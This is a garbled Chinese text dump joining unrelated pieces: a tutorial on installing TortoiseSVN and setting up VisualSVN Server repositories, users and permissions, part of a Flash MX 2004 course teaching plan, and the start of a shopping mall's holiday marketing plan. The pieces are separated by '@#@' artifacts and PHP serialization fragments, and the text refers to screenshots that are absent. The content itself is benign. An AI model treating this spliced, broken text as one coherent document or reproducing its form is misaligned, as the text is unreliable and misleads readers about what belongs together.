@#@@#@下载后,运行TortoiseSVN-1.5.5.14361-win32-svn-1.5.4.msi程序,点击Next,下面的截图顺序即为安装步骤:
@#@@#@图1:
@#@@#@图2:
@#@@#@图3:
@#@@#@图4:
@#@@#@点击Finish按钮后会提示重启系统,其实不重启也没有关系,呵呵:
@#@-)@#@原文地址:
@#@@#@2VisualSVNServer的配置和使用方法【服务器端】@#@安装好VisualSVNServer后,运行VisualSVNServerManger,下面是启动界面:
@#@@#@@#@好的,下面我来添加一个代码库【Repository】,如下图:
@#@@#@按上图所示,创建新的代码库,在下图所示的文本框中输入代码库名称:
@#@@#@@#@注意:
@#@上图中的CheckBox如果选中,则在代码库StartKit下面会创建trunk、branches、tags三个子目录;@#@不选中,则只创建空的代码库StartKit。
@#@@#@点击OK按钮,代码库就创建成功了。
@#@@#@创建完代码库后,没有任何内容在里面。
@#@我会在这个教程的第二部分说明如何迁入源代码。
@#@@#@下面,我们开始安全性设置,在左侧的Users上点击右键:
@#@@#@@#@输入上面的信息,点击OK,我们就创建一个用户了。
@#@按照上面的过程,分别添加用户Developer1、tester1、manager1,好了,我们开始添加这些用户到我们刚才创建的项目里:
@#@@#@点击上图中的"@#@Add..."@#@按钮,在下图中选择我们刚才添加的用户,点击OK按钮。
@#@说明:
@#@大家可能注意到了下图中的Groups,是的,你也可以先创建组,把用户添加到各个组中,然后对组进行授权,操作比较简单,在此略过。
@#@@#@按照下图所示,分别对用户【或组】进行授权:
@#@@#@点击"@#@确定"@#@按钮,上面的用户就具有了访问StartKit代码库的不同权限。
@#@@#@因为用户starter在团队中是新来者,不希望他向代码库中提交新代码,所以他只能读取代码库中的代码,不能提交代码。
@#@tester1是测试人员,不负责代码编写,所以也是只读权限。
@#@而Developer1和manager1是开发人员和项目经理,自然具有读、写的权限。
@#@@#@在实际的项目开发过程中,Developer和tester往往不可能只有一个人,这时候使用组来授权更加方便,这个大家可以自己练习一下。
@#@@#@3TotoiseSVN的基本使用方法@#@工欲善其事,必先利其器【BasicTools】中,我已经讲解了怎样安装TortoiseSVN。
@#@在上面的讲解中已经讲了怎么使用VisualSVNServer了,今天我要讲的是,TortoiseSVN的简单使用方法。
@#@@#@3.1签入源代码到SVN服务器@#@假如我们使用VisualStudio在文件夹StartKit中创建了一个项目,我们要把这个项目的源代码签入到SVNServer上的代码库中里,首先右键点击StartKit文件夹,这时候的右键菜单如下图所示:
@#@@#@图2-2-1@#@点击Import,弹出下面的窗体,其中是服务器名,svn是代码仓库的根目录,StartKit是我们在上个教程中添加的一个代码库。
@#@@#@说明:
@#@左下角的CheckBox,在第一次签入源代码时没有用,但是,在以后你提交代码的时候是非常有用的。
@#@@#@图2-2-2@#@点击OK按钮,会弹出下面的窗体,要求输入凭据:
@#@@#@图2-2-3@#@在上面的窗体中输入用户名和密码,点击OK按钮:
@#@@#@图2-2-4@#@如上图所示,好了,源代码已经成功签入SVN服务器了。
@#@这时候团队成员就可以迁出SVN服务器上的源代码到自己的机器了。
@#@@#@3.2签出源代码到本机@#@在本机创建文件夹StartKit,右键点击Checkout,弹出如下图的窗体:
@#@@#@图2-2-5@#@在上图中URLofRepository:
@#@下的文本框中输入svnserver中的代码库的地址,其他默认,点击OK按钮,就开始签出源代码了。
@#@@#@说明:
@#@上图中的CheckoutDepth,有4个选项,分别是迁出全部、只签出下一级子目录和文件、只签出文件、只签出空项目,默认的是第一项。
@#@上面的例子中,我们也可以使用web的方式访问代码库,在浏览器中输入@#@这时候也会弹出对话框,要求输入用户名和密码,通过验证后即可浏览代码库中的内容。
@#@@#@搞定!
@#@源代码已经成功签出到刚才新建的StartKit目录中。
@#@@#@打开StartKit目录,可以看到如下图的文件夹结构:
@#@@#@图2-2-5@#@一旦你对文件或文件夹做了任何修改,那么文件或文件夹的显示图片机会发生变化。
@#@下图中我修改了其中的二个文件:
@#@@#@图2-2-7@#@大家看一下不同状态所对应的图片:
@#@@#@图2-2-8@#@我们已经知道怎么将源代码签入到SVN服务器,怎么从服务器签出代码到本机,也简单了解了不同状态所对应的图案啦。
@#@@#@3.3提交修改过的文件到SVN服务器@#@上面的图2-2-7中,我修改了位于Model文件中的二个文件ImageInfo.cs和NewsInfo.cs,下面演示如何提交到SVN服务器。
@#@@#@注意:
@#@提交源代码到服务器时,一定确保本机的代码是最新版本,否则可能提交失败,或者造成版本冲突。
@#@@#@在Model文件夹上点击右键或在Model文件下的空白处点击右键,点击SVNCommit…弹出下面的窗体:
@#@@#@图2-2-9@#@点击OK按钮后,弹出如下图的窗体:
@#@@#@图2-2-10@#@3.4添加新文件到SVN服务器@#@我们在Model文件下添加一个新的类文件UserInfo.cs,在Model文件下的空白处点击右键,点击SVNCommit…,和上面讲的提交修改过的文件到SVN服务器一样,就可以了。
@#@另外也可以在文件UserInfo.cs上点击右键,点击TortoiseSVN=>@#@>@#@Add,弹出如下图的窗体:
@#@@#@图2-2-11@#@选中UserInfo.cs文件,点击OK按钮,这样并没有将这个文件提交到SVN服务器,只是将这个文件标记为源代码库库中的文件,并将其状态置为修改状态。
@#@之后,我们要再SVNCommit这个文件一次,才可以将其真正提交到SVN服务器上的代码库中。
@#@@#@上面讲是添加文件,实际上,添加文件夹的步骤也是一样的,这里就不说了。
@#@@#@3.5更新本机代码与SVN服务器上最新的版本一致@#@这个也很简单,只要在需要更新的文件夹上点击右键或在该文件下的空白处点击右键,点击SVNUpdate,就可以了。
@#@@#@注意:
@#@更新操作可能会因为版本冲突而失败,这是可以使用合并【Merge】或其他方法解决;@#@也可能因为锁定【GetLock】而失败,这是需要先解锁【ReleaseLock】。
@#@@#@3.6重命名文件或文件夹,并将修改提交到SVN服务器@#@只要在需要重命名的文件或文件夹上点击右键,点击TortiseSVN=>@#@>@#@Rename…,在弹出的窗体中输入新名称,点击OK按钮,就可以了。
@#@此方法也不是直接重命名,而是将该文件或文件夹的名称标记为重命名后名称,也需要我们使用SVNCommit提交到SVN服务器后才真正重命名。
@#@@#@3.7删除文件或文件夹,并将修改提交到SVN服务器@#@最简单就是,你直接删除文件或文件夹,然后使用SVNCommit提交更新到SVN服务器。
@#@另外一种方法是在你要删除的文件或文件夹上点击右键=>@#@>@#@TortoiseSVN=>@#@>@#@Delete删除,此方法也不是直接删除,而是将该文件或文件夹的状态置为删除,也需要我们使用SVNCommit提交到SVN服务器后才真正删除。
@#@@#@说明:
@#@实际上,从你把源代码迁签入SVN服务器开始,每一个版本的数据和文件,就算是你已经删除了的,也都可以随时迁出。
@#@@#@以上只是TortoiseSVN最简单的几个功能,其实他的功能远不止这些,其他的功能大家可以在使用的过程中慢慢体会,有些功能我会在下面的教程中使用到,到时候会和大家讲清楚用法。
@#@@#@注意:
@#@向SVN服务器提交源代码的时候,一定不要提交bin、obj等文件夹,否则会很麻烦。
@#@但是web项目的bin目录除外,但是web项目的bin目录中的引用其他项目而生成的dll不需要提交。
@#@@#@一个好习惯:
@#@如果项目中引用了其他的第三方的程序集,比如EnterpriseLibrary、FCKEditor等,这时候不要简单从他们的安装位置引用,而是在你的解决方案下,添加一个Library的目录,把需要的程序集复制到这里,然后从Library目录引用,这样有什么好处,自己想一想吧!
@#@@#@本文是对如下两篇文章的整理:
@#@@#@";i:
21;s:
26050:
"flash教案@#@教学方案@#@ @#@@#@课程名称Flash动画@#@专业班级16(4)班@#@教师姓名胡斌@#@ @#@@#@第一教时(90分钟为一教时)教案@#@课题@#@第1章Flash基础知识@#@教学目标@#@在因特网上随处可以看到很多优秀的Flash作品,它们被广泛应用于网页制作、网页广告、MTV和动画游戏等领域。
@#@本章先介绍Flash动画的常识和应用领域等方面的知识,接着介绍FlashMX2004的基础知识,包括FlashMX2004的工作界面、基本操作、Flash动画制作的基本步骤等,并推荐了一些优秀的Flash网站,以供读者欣赏与借鉴。
@#@@#@教学内容@#@Flash动画常识@#@Flash的启动与退出@#@熟悉FlashMX2004的工作界面@#@教学重点@#@熟悉FlashMX2004的工作界面@#@教学难点@#@教学方法@#@讲授法@#@仪器教具@#@多媒体@#@教案纸@#@教学内容和过程@#@方法、时间等@#@第1章Flash基础知识@#@1.1Flash动画常识@#@Flash是美国Macromedia公司推出的一款经典动画制作软件,目前使用相当广泛。
@#@它对动画制作者的要求不高,而且简单易学,效果流畅生动,画面风格多变,因此在动画制作领域受到广大用户的青睐和好评。
@#@@#@1.1.1动画基本原理@#@以前制作的动画都是通过由一幅幅静止的相关画面快速地移动,使人们在视觉上产生运动感觉的,而Flash动画由矢量图形组成,通过这些图形的运动,产生运动变化效果。
@#@它是以“流”的形式进行播放,在播放的同时还能自动将后面部分文件下载,实现多媒体的交互。
@#@@#@1.1.2Flash动画常用领域@#@在现代信息化的社会中,人们喜欢在网上完成工作、搜集信息与交流。
@#@打开任意一个网站,常常会看到各种动画广告条;@#@想听音乐,网上有Flash制作的各种MTV由你选择,如《忍者》、《你最红》等;@#@还有电视上的一些广告也是用Flash制作的。
@#@从搞笑动画到MTV、从广告到游戏、从网页到多媒体课件、从贺卡到影视片头,Flash的身影无处不在。
@#@@#@1.搞笑动画@#@制作搞笑动画的目的是让观众开怀一笑,心情舒畅。
@#@一个好的搞笑动画,制作的角色形象要滑稽、有趣、入木三分,而且内容爆笑、幽默。
@#@@#@2.MTV@#@在网络上观看视频MTV常常会因为网速过慢而时断时续,而Flash文件相对于视频文件来说要小很多,所以很多音乐网站上的歌曲都配有由Flash制作的MTV。
@#@@#@3.广告@#@一个好的网站的浏览量很大,自然就有了网络广告。
@#@用Flash制作的网络广告具有直接明了、占用空间小和视觉冲击力强等特点,正好满足在网络这种特殊环境下的要求。
@#@@#@4.游戏@#@年轻的读者一般都对游戏很感兴趣,从小时候开始,俄罗斯方块、魂斗罗、超级玛莉和松鼠大战等游戏已经陪伴在我们身边,现在,网络游戏如传奇、仙剑和魔兽等更加受到大家的喜爱。
@#@而利用Flash也可以制作一些简单有趣的游戏。
@#@@#@5.网页@#@用Flash可以制作出个性化的动态网页,相对于平时所看到的网站更具有视觉上的冲击力。
@#@虽然功能不如专业网页制作软件齐全,但制作一@#@教案纸@#@教学内容和过程@#@方法、时间等@#@个数据量不大的个人网站已经足够了。
@#@@#@6.片头动画@#@Flash还可以为网站、宣传片、电影和光盘制作片头动画。
@#@@#@1.2Flash的启动与退出@#@在开始学习Flash之前,首先要掌握该软件的启动与退出方法。
@#@@#@1.2.1FlashMX2004的启动@#@启动FlashMX2004主要有以下几种方法:
@#@@#@选择“开始/所有程序/Macromedia/FlashMX2004”命令。
@#@@#@双击桌面上的FlashMX2004快捷方式图标。
@#@@#@双击一个默认用FlashMX2004打开的Flash文档图标。
@#@@#@1.2.2FlashMX2004的退出@#@在Flash中编辑完文件后便可退出FlashMX2004软件,主要有以下几种方法:
@#@@#@在菜单栏中选择“文件/退出”命令。
@#@@#@单击FlashMX2004工作界面右上角的按钮。
@#@@#@按Alt+F4键。
@#@@#@1.3熟悉FlashMX2004的工作界面@#@启动FlashMX2004后,将打开其默认的工作界面。
@#@它的工作界面由菜单栏、工具栏、时间轴、图层区域、场景、“动作-帧”面板、“属性”面板、“混色器”、“行为”面板和“组件”面板等部分组成,各主要部分的含义与功能如下。
@#@@#@菜单栏、工具栏、时间轴、场景、图层区域、混色器、@#@1.3.1常用工具一览@#@在制作Flash动画时往往需要绘制和编辑各种所需形态的图形或对象,因此制作者不但要具有独特的审美观点,还应熟练掌握Flash中的绘图工具。
@#@默认情况下,工具栏中包含了绘制和编辑图形的各种工具,分为“工具”、“查看”、“颜色”和“选项”4个区域。
@#@@#@“工具”区域包含用于绘画、填色和选择的工具,它们的作用如下。
@#@@#@选择工具、部分选取工具、线条工具、套索工具、钢笔工具、文本工具、椭圆工具、矩形工具、铅笔工具、刷子工具、任意变形工具、填充变形工具、墨水瓶工具、颜料桶工具、滴管工具、橡皮擦工具。
@#@@#@“查看”区域包含可以在场景内进行缩放和移动的两个工具,它们的作用如下:
@#@@#@缩放工具、手形工具。
@#@@#@“颜色”区域包含用于设置笔触颜色和填充颜色的各功能图标,它们的作用如下:
@#@@#@笔触颜色、填充颜色、黑白、没有颜色、交换颜色。
@#@@#@教案纸@#@教学内容和过程@#@方法、时间等@#@“选项”区域显示所选工具的设置属性,它随着所选工具的变化而变化。
@#@当选择某种工具后,在“选项”区域中将出现相应设置的选项,这些选项会影响工具的填色或编辑操作@#@1.3.2时间轴@#@Flash动画的播放是由时间轴来控制的,时间轴左边为“层”区,右边由播放指针、帧、时间轴标尺及状态栏组成。
@#@时间轴用于组织和控制文档内容在一定时间内播放的层数。
@#@“层”区用于对动画中的各图层进行控制和操作,当创建一个新的Flash文档后,它就会自动创建一个层。
@#@用户可以根据需要添加其他层,用于在文档中组织图形、动画和其他元素。
@#@@#@1.3.3场景与舞台@#@场景是指Flash工作界面的中间部分,即整个白色和灰色的区域,它是进行矢量图形的绘制和展示的工作区域。
@#@在场景中的白色区域部分又称“舞台”,在播放时将只显示舞台中的内容。
@#@关于场景的具体应用将在第6章中详细讲解。
@#@@#@1.3.4常用面板@#@面板中最常用的有“属性”面板和“动作”面板,下面简要介绍它们的功能。
@#@@#@1.“属性”面板@#@启动FlashMX2004后,在工作界面中可看到默认的“属性”面板。
@#@@#@在默认的“属性”面板中显示了文档的名称、大小、背景色和帧频等信息。
@#@在该“属性”面板中单击@#@按钮,将打开“文档属性”对话框,在其中可以设置文档的大小、背景颜色和帧频等内容。
@#@单击“属性”面板中的@#@图标,将弹出颜色列表框,在其中单击某个颜色图标即可为舞台设置相应的背景颜色。
@#@而在@#@文本框中可以设置动画的帧频,帧频数值越大,播放速度越快,帧频数值越小,播放速度越慢,默认的帧频为12fps。
@#@@#@当用户选择不同的工具或对象时,“属性”面板也会随着变化。
@#@选择椭圆工具时的“属性”面板,在其中可以看到椭圆工具的相关属性。
@#@@#@2.“动作”面板@#@在Flash动画中可以添加停止播放、重新播放、跳转到某一帧播放和鼠标跟随等动作,这是为对象添加了Actions脚本的结果。
@#@“动作”面板即为Actions脚本的添加提供了一个平台。
@#@@#@“动作”面板的名称随着选中的对象的不同而变化,选中某个帧时,它的名称为“动作帧”;@#@选中某个影片剪辑时,它的名称为“动作影片剪辑”;@#@选中某个按钮元件时,它的名称为“动作按钮”。
@#@这些面板的具体使用方@#@教案纸@#@教学内容和过程@#@方法、时间等@#@法将在后面的章节中进行讲解。
@#@@#@1.3.5菜单功能@#@FlashMX2004的菜单栏包含了10个菜单,它位于工作界面的顶端。
@#@为方便读者掌握各个菜单中的主要命令,下面将具体介绍各菜单的作用。
@#@@#@1.“文件”菜单@#@“文件”菜单主要用于对Flash文档进行各种操作。
@#@主要包括文件的打开、关闭、保存、导入和导出、发布Flash文档、页面设置和打印等常用操作。
@#@@#@2.“编辑”菜单@#@“编辑”菜单主要用于对Flash文档和图形对象进行各种编辑操作。
@#@主要包括撤销和重复编辑操作、复制和移动操作、选择对象、查找和替换对象,以及对帧、元件的操作和参数设置等。
@#@@#@3.“视图”菜单@#@“视图”菜单主要用于以各种方式查看Flash动画中的内容。
@#@主要操作包括转到其他场景、缩放场景显示比例、预览模式、显示或隐藏工作区和对齐对象的辅助工具等。
@#@@#@4.“插入”菜单@#@通过“插入”菜单,用户可以插入元件、帧、图层和场景,并添加时间轴特效。
@#@使用时间轴特效可以快速添加过渡特效和动画。
@#@其方法是选择要添加时间轴特效的对象,选择“插入/时间轴特效”命令,然后从弹出的子菜单中选择“变形/转换”、“帮助”或“效果”命令,并从列表中选择一种特效,在打开的预览窗口中设置好后单击@#@按钮,即可在打开的预览窗口中看到图形变形的效果。
@#@@#@5.“修改”菜单@#@“修改”菜单用于对各种对象进行修改编辑。
@#@包括修改文档的属性、元件及图形属性、修改图形形状、修改帧/图层和时间轴特效、变形/排列/对齐对象、打散与组合等。
@#@@#@6.“文本”菜单@#@“文本”菜单主要用于编辑文本。
@#@在其中可以对文字的字体、大小和样式进行设置,也可以设置不同文本的对齐方式和间距等,还可对文本进行拼写和检查等操作。
@#@@#@7.“命令”菜单@#@“命令”菜单,通常与“历史记录”面板结合使用。
@#@当在“历史记录”面板中将用户的某个操作保存起来后,在“命令”菜单下就会显示保存的该操作名称,并可通过各选项对该命令进行各种操作。
@#@@#@8.“控制”菜单@#@“控制”菜单,用于测试动画影片和对影片播放进程进行控制。
@#@动画制作完成后,不必每次都将整个动画全部播放来测试,如果只想测试动画中的某一部分,则可通过“控制”菜单下的命令来实现。
@#@@#@9.“窗口”菜单@#@“窗口”菜单,用于显示和隐藏各种面板、工具栏、窗口并管理面板布局。
@#@若要显示某个面板或工具栏,只需在“窗口”菜单中选择相应的命令,使其前面出现黑色的小勾即可。
@#@如果要隐藏它,只需再次选择该命令即可。
@#@@#@10.“帮助”菜单@#@“帮助”菜单。
@#@对初学者来说这是一个很有用的菜单,它提供了FlashMX2004的在线帮助信息和支持站点的信息,包括FlashMX2004的新增功能、使用方法和动作脚本词典等内容。
@#@@#@ @#@@#@教案纸@#@第二教时(90分钟为一教时)教案2011年2月23日@#@课题@#@第1章Flash基础知识@#@教学目标@#@在因特网上随处可以看到很多优秀的Flash作品,它们被广泛应用于网页制作、网页广告、MTV和动画游戏等领域。
@#@本章先介绍Flash动画的常识和应用领域等方面的知识,接着介绍FlashMX2004的基础知识,包括FlashMX2004的工作界面、基本操作、Flash动画制作的基本步骤等,并推荐了一些优秀的Flash网站,以供读者欣赏与借鉴。
@#@@#@教学内容@#@文档的基本操作@#@Flash动画制作基本步骤@#@优秀Flash网站推荐@#@教学重点@#@了解Flash动画常识@#@教学难点@#@教学方法@#@讲授法@#@仪器教具@#@多媒体@#@教案纸@#@教学内容和过程@#@方法、时间等@#@1.4文档的基本操作@#@在Flash中,对文档的基本操作主要包括新建、保存、关闭和打开等,下面分别进行讲解。
@#@@#@1.4.1新建Flash文档@#@在制作Flash动画之前必须新建一个Flash文档,新建Flash文档有以下3种方法:
@#@@#@启动FlashMX2004,在开始页的“创建新项目”栏下面单击“Flash文档”即可。
@#@@#@选择“文件/新建”命令或按Ctrl+N键,在打开的“新建文档”对话框中选择“Flash文档”选项,再单击@#@按钮即可。
@#@@#@在“新建文档”对话框中单击“模板”标签,在其中选择相应的模板文档,这里选择“测验”下的“测验_样式1”,再单击@#@按钮即可新建一个基于模板的Flash文档。
@#@@#@1.4.2保存Flash文档@#@编辑完Flash文档后,应将其保存起来,便于以后使用。
@#@保存时只需选择“文件/保存”命令或按Ctrl+S键即可。
@#@如果用户之前并未保存过此文档,那么将打开“另存为”对话框,选择保存的位置,为文档命名并选择保存类型后,单击@#@按钮即可。
@#@@#@1.4.3关闭Flash文档@#@当不需要使用当前的动画文件时,可以选择“文件/关闭”命令、按Ctrl+W键或单击@#@上方的@#@按钮将其关闭。
@#@如果此文档没有保存,将打开“FlashMX”对话框让用户确认是否需要保存当前文档,用户可以根据情况单击相应的按钮。
@#@@#@1.4.4打开Flash文档@#@如果要编辑或查看一个已有的Flash文档,只需要打开此Flash文档即可。
@#@先在FlashMX2004的工作界面中选择“文件/打开”命令或按Ctrl+O键,打开“打开”对话框,然后在“查找范围”下拉列表框中选择要打开的文档所在的位置,再在“文件名”下拉列表框中输入要打开文档的文件名,或直接在列表中选中要打开的文件图标,最后单击@#@按钮即可。
@#@@#@教案纸@#@教学内容和过程@#@方法、时间等@#@1.5Flash动画制作基本步骤@#@要制作出一个出色的Flash动画作品,应该用心把握每个环节,其制作过程大致可分为以下几个步骤。
@#@@#@1.5.1前期策划@#@在制作动画之前,应首先明确制作动画的目的、知道动画的最终效果应达到什么样的效果和反响、动画的整体风格应该以什么为主及应用什么形式将其体现出来。
@#@在制定了一套完整的方案后,就可以为要制作的动画做初步的策划,包括动画中出现的人物、背景、音乐及动画剧情的设计、动画分镜头的制作手法和动画片段的过渡等构思。
@#@@#@1.5.2搜集素材@#@完成了前期策划之后,应开始对动画中所需素材进行搜集与整理。
@#@搜集素材时应注意不要盲目地搜集一大堆,而要根据前期策划的风格、目的和形式来有针对性地搜集素材,这样就能有效地节约制作时间。
@#@@#@1.5.3制作动画@#@创作动画中比较关键的步骤就是制作Flash动画,前期策划和素材的搜集都是为制作动画而做的准备。
@#@要将之前的想法完美地表现出来,就需要作者细致地制作。
@#@动画的最终效果很大程度上取决于动画的制作过程。
@#@@#@1.5.4后期调试与优化@#@动画制作完毕后,为了使整个动画看起来更加流畅、紧凑,必须对动画进行调试。
@#@调试动画主要是针对动画对象的细节、分镜头和动画片段的衔接、声音与动画播放是否同步等进行调整,以此保证动画作品的最终效果与质量。
@#@@#@1.5.5测试动画@#@制作与调试完动画后,应对动画的效果、品质等进行检测,即测试动画。
@#@因为每个用户的电脑软硬件配置都不尽相同,而Flash动画的播放是通过电脑对动画中的各矢量图形、元件等的实时运算来实现的,所以在测试时应尽量在不同配置的电脑上测试动画。
@#@然后根据测试后的结果对动画进行调整和修改,使其在不同配置的电脑上均有很好的播放效果。
@#@@#@1.5.6发布动画@#@Flash动画制作的最后一步就是发布动画,用户可以对动画的格式、画面品质和声音等进行设置。
@#@在进行动画发布设置时,应根据动画的用途和使用环境等进行设置,以免增加文件的大小而影响动画的传输。
@#@@#@1.6优秀Flash网站推荐@#@下面推荐几个较为著名的Flash网站,以供大家学习和欣赏。
@#@1.6.1闪吧和动漫世纪@#@这两个网站的特点是素材比较多,收藏的动画都比较经典,还有一@#@教案纸@#@教学内容和过程@#@方法、时间等@#@些制作的方法。
@#@@#@1.6.2闪客帝国和中国Flash中心@#@这两个网站分类比较细,而且有很多最新上传的作品,能够了解现在的流行趋势和各种类型、风格的动画作品。
@#@@#@1.7上机练习@#@本次上机练习将创建一个名为“奥运五环”的Flash文档,在该文档的创建过程中将练习到启动与退出FlashMX2004、文档的新建和保存等基本操作,以进一步熟悉FlashMX2004的基本操作。
@#@@#@1.8习题@#@
(1)启动FlashMX2004,并新建一个名为“无敌超人”的Flash文档。
@#@@#@
(2)选择“文件/新建”命令,在打开的“新建文档”对话框中新建一个Flash文档,然后以“蜉蝣”为名进行保存。
@#@@#@(3)在FlashMX2004中打开名为“奥运五环”的Flash作品,并按Ctrl+Enter键欣赏其动画效果。
@#@@#@ @#@@#@教案纸@#@第三教时(90分钟为一教时)教案2011年2月28日@#@课题@#@第2章添加图形和文字@#@教学目标@#@在制作动画的过程中,需要绘制出动画角色和图形。
@#@要使作品具有艺术感和创新感,创作者不但应具有审美修养,还应有熟练的制作技巧,善于使用Flash中的各种绘图工具。
@#@本章将介绍基本图形绘制工具的具体使用方法,包括线条工具、铅笔工具、钢笔工具、椭圆工具、矩形工具和多边星形工具等,以提高读者的手绘能力。
@#@另外还将介绍Flash中文本工具的使用,使读者掌握为动画添加文本的方法。
@#@@#@教学内容@#@设置绘图环境@#@绘制线条@#@绘制圆和椭圆@#@绘制矩形和多边形@#@导入外部图片@#@添加文字@#@教学重点@#@了解绘图环境的设置@#@掌握绘制线条、圆和椭圆、矩形、多边形和添加文字的方法@#@了解导入外部图片的方法@#@教学难点@#@教学方法@#@讲授法@#@仪器教具@#@多媒体@#@教案纸@#@教学内容和过程@#@方法、时间等@#@2.1设置绘图环境@#@绘图环境是指场景大小、背景颜色、标尺、网格等绘制Flash图形过程中需要设置或使用到的属性和工具等。
@#@@#@场景大小和背景色可以在“文档属性”对话框中设置。
@#@@#@2.1.1设置场景属性@#@2.1.2设置标尺和网格@#@2.2绘制线条@#@在Flash中,绘制直线的工具有多种,线条工具是其中最简单的工具,可以直接绘制所需直线。
@#@@#@如果线条的颜色、样式及粗细等不符合要求时,可以通过“属性”面板进行设置。
@#@线条工具默认设置是“黑色、实线、1”,其“属性”面板。
@#@@#@2.2.1线条工具@#@2.2.2铅笔工具@#@含“伸直”选项、“平滑”选项、“墨水”选项。
@#@@#@2.2.3钢笔工具@#@用钢笔工具可以绘制任意形状的图形,也可作为选取工具使用。
@#@@#@2.3绘制圆和椭圆@#@用椭圆工具可以绘制圆和椭圆。
@#@选择工具栏中的椭圆工具,在舞台中按住鼠标左键向任意方向拖动即可绘制一个椭圆;@#@按住Shift键,同时按住鼠标左键拖动可绘制一个圆。
@#@@#@2.4绘制矩形@#@单击按钮,在弹出的列表中有矩形工具和多角星形工具两个选项。
@#@用矩形工具可以绘制矩形、正方形、圆角矩形和多边形等图形。
@#@@#@2.5绘制多边形@#@可在“属性”面板中单击按钮,打开“工具设置”对话框,在对话框中可以设置多角星形的属性。
@#@含“样式”、“边数”、“星形顶点大小”@#@2.6应用举例——绘制卡通城堡@#@熟练掌握Flash所提供的各种工具是制作优秀的Flash作品的前提,因此本节将练习绘制卡通城堡,主要用到线条工具、矩形工具、椭圆工具、刷子工具等绘制工具。
@#@填充颜色的方法将在第4章中讲解,这里暂不讲解。
@#@@#@教案纸@#@教学内容和过程@#@方法、时间等@#@2.7导入外部图片@#@2.7.1导入位图或矢量图@#@2.7.2将位图转换为矢量图@#@2.8添加文字@#@Flash提供了文本工具来帮助用户添加文字,并可在“属性”面板中编辑文字的属性。
@#@下面介绍文本工具的使用方法。
@#@@#@2.8.1用文本工具输入文字@#@2.8.2设置文字属性@#@2.9应用举例——输入广告文字@#@为了进一步熟悉文本工具的使用和在“属性”面板中对其字体、大小、色彩和排列属性等进行设置,下面输入一段文字并对其进行不同的属性设置。
@#@@#@ @#@@#@教案纸@#@第四教时(90分钟为一教时)教案2011年3月3日@#@课题@#@第2章添加图形和文字@#@教学目标@#@在制作动画的过程中,需要绘制出动画角色和图形。
@#@要使作品具有艺术感和创新感,创作者不但应具有审美修养,还应有熟练的制作技巧,善于使用Flash中的各种绘图工具。
@#@本章将介绍基本图形绘制工具的具体使用方法,包括线条工具、铅笔工具、钢笔工具、椭圆工具、矩形工具和多边星形工具等,以提高读者的手绘能力。
@#@另外还将介绍Flash中文本工具的使用,使读者掌握为动画添加文本的方法。
@#@@#@教学内容@#@上机练习@#@设置绘图环境@#@绘制线条@#@绘制圆和椭圆@#@绘制矩形和多边形@#@导入外部图片@#@添加文字@#@教学重点@#@了解绘图环境的设置@#@掌握绘制线条、圆和椭圆、矩形、多边形和添加文字的方法@#@了解导入外部图片的方法@#@教学难点@#@教学方法@#@练习法@#@仪器教具@#@机房@#@教案纸@#@教学内容和过程@#@方法、时间等@#@2.10上机练习——绘制卡通人物@#@本次上机练习将使用本章所学的工具绘制卡通人物。
@#@填充颜色后的效果。
@#@@#@本例的重点内容是使用铅笔工具对卡通人物轮廓进行绘制的过程,并利用多边星形工具、直线工具、矩形工具以及椭圆工具绘制花纹和其他部位,读者应熟练掌握这些工具的属性设置方法。
@#@读者也可参照本实例,使用这些工具绘制其他图形。
@#@@#@2.11上机作业@#@
(1)用直线工具和椭圆工具绘制一个羽毛球拍。
@#@@#@
(2)用椭圆工具、铅笔工具和钢笔工具绘制一个糖果图形。
@#@@#@(3)绘制一幅夏夜汽车图形,在绘制时综合应用本章所学习的各种绘图工具并设置它们的属性。
@#@@#@教案纸@#@第五教时(90分钟为一教时)教案2011年3月7日@#@课题@#@第3章编辑图形和文字@#@教学目标@#@当绘制的对象比较单调或不符合要求时,可以使用工具栏中的选择等工具对绘制的图形进行线条、色彩和形状等属性的编辑。
@#@如用选择工具、套索工具和部分选取工具可以选择对象;@#@用选择工具、任意变形工具和部分选取工具可对图形进行缩放、旋转变形等操作;@#@用橡皮擦工具可擦除图形等。
@#@在编辑图形和文字的过程中,往往还需要和辅助工具结合使用。
@#@本章将介绍用于排列图形和查看对象的工具的作用。
@#@@#@教学内容@#@选择对象@#@移动与复制图形@#@群组与打散图形@#@图像的变形@#@用橡皮擦擦除图形@#@排列图形与查看对象@#@教学重点@#@了解选择对象的方法@#@掌握移动与复制、群组与打散、变形、排列图形的方法@#@掌握用橡皮擦擦除图形的方法@#@教学难点@#@教学方法@#@讲授法@#@仪器教具@#@多媒体@#@教案纸@#@教学内容和过程@#@方法、时间等@#@3.1选择对象@#@3.1.1选择单个对象@#@选择工具主要用于选择图形。
@#@@#@3.1.2选择多个对象@#@要选择多个对象时,可以拖动鼠标以矩形框选的形式选取。
@#@也可按住Shift键,再用选择单个对象的方法依次选取要选择的物体。
@#@@#@3.1.3用套索工具选择不规则对象@#@如果需要编辑的对象不规则,可以用套索工具精确地选择对象。
@#@在工具栏中选择套索工具,其“选项”区域,其中各按钮作用如下。
@#@@#@魔术棒、魔术棒属性、多边形套索。
@#@@#@3.2移动与复制图形@#@如果需要绘制的图形和已有图形相同,可以将已有图形进行复制。
@#@在Flash中,复制图形的方法有如下3种:
@#@@#@选择要复制的对象,按Ctrl+C键复制,再按Ctrl+V键粘贴即可,若按Shift+Ctrl+V键可以将对象粘贴到原位置。
@#@@#@用选择工具选择对象后,按住Ctrl键不放并拖动鼠标进行复制。
@#@@#@用任意变形工具选择对象后,按住Alt键不放并";i:
22;s:
26542:
"XX大型购物商场圣诞元旦春节整合营销方案@#@ @#@@#@XX大型购物商场圣诞、元旦、春节整合营销方案@#@ @#@@#@前言:
@#@不知不觉中,又到了年末、我们又迎来了2016年的三节销售旺季、商家个个摩拳擦掌,新招、怪招层出不穷,都想在年末打个大胜仗,以赚得盆满钵满。
@#@我们大新亦不例外,但群雄逐鹿,能者居之。
@#@由于销售时机的特殊性、我们将三个活动合为一体,即融合又独立,使活动有连续性、条理性、独立性、易操作性,从而方便各店可以更好的开展活动。
@#@希望各部门/分店在这一年最后的黄金销售时机中同心协力、全力以赴,不辞辛劳,将春节黄金销售月做得有声有色,从而实现既大幅提升销售额,又提升大新知名度与美誉度的双重目标,让大新人过一年丰收、喜悦、团结、祥和的春节。
@#@我们的成功来自每一位同事的共同努力。
@#@@#@一、主题:
@#@圣诞节、新年、春节@#@二、时间:
@#@2015年12月16日——2016年1月29日@#@三、门店:
@#@**百货各分店@#@四、目标:
@#@达到销售比平时提高70%@#@五、活动:
@#@@#@圣诞篇:
@#@主题:
